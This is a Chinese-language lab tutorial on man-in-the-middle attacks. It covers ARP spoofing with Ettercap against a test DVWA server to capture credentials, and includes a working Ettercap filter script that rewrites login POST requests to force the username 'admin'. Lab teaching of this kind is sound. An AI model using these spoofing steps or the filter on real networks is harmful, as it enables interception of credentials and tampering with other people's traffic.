一、简介
中间人( MITM) 攻击是一种攻击类型, 其中攻击者将它自己放到两方之间, 通常是客户端和服务端通信线路的中间。 这可以通过破坏原始频道之后拦截一方的消息并将它们转发( 有时会有改变) 给另一方来实现。
举例:

Alice 连接到了 Web 服务器上, Bob打算了解 Alice 正在发送什么信息。 于是 Bob 建立 MITM攻击, 通过告诉服务器他是 Alice, 并且告诉 Alice 他是服务器。 现在, 所有 Alice 的请求都会发给 Bob, Bob 会将它们转发给服务器, 并对服务器的响应做相同操作。 这样, Bob 就能够拦截、 读取或修改所有 Alice 和服务器之间的流量。
二、实例:ARP欺骗与MITM
1、实验环境:
主机名
|
IP地址
|
Kali(Bob)
|
10.10.10.128
|
OWASP(Web server)
|
10.10.10.134
|
win-xp(Alice)
|
10.10.10.131
|
2、利用 Ettercap 进行ARP欺骗,截获账号,密码
(1)kali 终端打开 Ettercap 命令
ettercap –G
(2)其他操作如下图所示

(3)ARP 欺骗前XP和OWASP情况

(4)进行 ARP 欺骗:

(5)欺骗结果:


(6)XP 浏览 http://10.10.10.134/dvwa/ 并登录

(7)用户名,密码被截获

(8)也可用wireshark抓包获取跟详细的信息,如下图:

3、修改服务端和客户端之间的数据(接上述实验)
(1)创建过滤器文件(regex-replace-filter.filter)
if (ip.dst == '10.10.10.134'&& tcp.dst == 80)
{
if (search(DATA.data, "POST"))
{ msg("POST request");
if (search(DATA.data, "login.php") )
{
msg("Call to login page");
pcre_regex(DATA.data, "Content-Length\:\ [0-9]*","Content-Length: 41") ;
msg("Content Length modified");
if (pcre_regex(DATA.data, "username=[a-zAZ]*&","username=admin&"))
{ msg("DATA modified\n"); }
msg("Filter Ran.\n");
}
}
}
(2)编译 regex-replace-filter.filter 生成 regex-replace-filter.ef(Kali终端)
etterfilter -o regex-replace-filter.ef regex-replace-filter.filter
(3)结果如图所示:

(4)Ettercap 加载并使用(菜单选择:Filters | Load a filter

(5)XP 浏览 http://10.10.10.134/dvwa/ 并使用“密码” admin 登陆“任意用户”,如test:admin

